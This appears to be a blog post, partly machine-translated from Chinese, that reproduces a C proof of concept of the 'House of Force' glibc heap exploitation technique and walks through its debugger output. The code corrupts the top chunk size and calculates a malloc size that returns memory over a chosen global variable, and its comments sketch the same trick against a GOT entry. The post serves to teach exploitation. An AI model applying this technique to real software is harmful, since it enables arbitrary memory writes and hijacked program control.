11.house_of_force

Source

 1 /*
 2 
 3    This PoC works also with ASLR enabled.
 4    It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
 5    If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 
 6    ( http://phrack.org/issues/66/10.html )
 7 
 8    Tested in Ubuntu 14.04, 64bit.
 9 
10 */
11 
12 
13 #include <stdio.h>
14 #include <stdint.h>
15 #include <stdlib.h>
16 #include <string.h>
17 #include <stdint.h>
18 #include <malloc.h>
19 
20 char bss_var[] = "This is a string that we want to overwrite.";
21 
22 int main(int argc , char* argv[])
23 {
24     fprintf(stderr, "\nWelcome to the House of Force\n\n");
25     fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
26     fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
27         "and is the chunk that will be resized when malloc asks for more space from the os.\n");
28 
29     fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
30     fprintf(stderr, "Its current value is: %s\n", bss_var);
31 
32 
33 
34     fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
35     intptr_t *p1 = malloc(256);
36     fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - sizeof(long)*2);
37 
38     fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
39     int real_size = malloc_usable_size(p1);
40     fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);
41 
42     fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");
43 
44     //----- VULNERABILITY ----
45     intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
46     fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);
47 
48     fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
49     fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
50     *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
51     fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
52     //------------------------
53 
54     fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
55        "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
56        "overflow) and will then be able to allocate a chunk right over the desired region.\n");
57 
58     /*
59      * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
60      * new_top = old_top + nb
61      * nb = new_top - old_top
62      * req + 2sizeof(long) = new_top - old_top
63      * req = new_top - old_top - 2sizeof(long)
64      * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
65      * req = dest - old_top - 4*sizeof(long)
66      */
67     unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
68     fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
69        "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
70     void *new_ptr = malloc(evil_size);
71     fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
72 
73     void* ctr_chunk = malloc(100);
74     fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
75     fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
76     fprintf(stderr, "Now, we can finally overwrite that value:\n");
77 
78     fprintf(stderr, "... old string: %s\n", bss_var);
79     fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
80     strcpy(ctr_chunk, "YEAH!!!");
81     fprintf(stderr, "... new string: %s\n", bss_var);
82 
83 
84     // some further discussion:
85     //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
86     //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
87     //    "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
88     //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
89     //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
90     //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
91     //    "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
92 
93     //fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
94     //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
95 
96     //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
97 }

operation result

First, apply a string of space bss_var

Because it is a global variable, stored in the bss section

And then apply for a 256-byte heap p1

At this point there are two stacks, p1 just the application, and the rest of the top chunk

At this point you can see the top chunk size is 0x20ef0

Then we will change it to -1

-1 complement form is present in memory 0xffffffffffffffff

Until then apply malloc memory, because the top chunk size is not enough, the expansion will start from the beginning of the top chunk to higher addresses

In debugging, old top chunk start address 0x603110, size 0xffffffffffffffff

bss_adr address 0x602060

To apply for a size of the heap evil_size, the top chunk extended to 0x602050 at plus 0x10 head

0x602060 is the data portion begins, so as to cover the start of bss_adr 0x602060

top_chunk_adr+0x10+evil_size=bss_adr-0x10

0x603110+0x10+evil_size=0x602060-0x10

evil_size=0x602060-0x603110-0x20

Since the 64-bit address arithmetic system 8 bytes

所以evil_size=0xffffffffffffef30

 

 At this point you can see evil_size really is 0xffffffffffffef30

After the application has three stacks

The first is p1, the second is just the size of the application heap evil_size

top_chunk extended to 0x602050 at

At this time, to apply the heap, i.e. assigned to 0x602050 at

At this point we apply for a 100-byte heap

Alignment byte is 0x71 as the size, this would cover a string heap at 0x602060

往这个堆输入内容即可覆盖原本字符串内容

 

Guess you like

Origin www.cnblogs.com/pfcode/p/10993942.html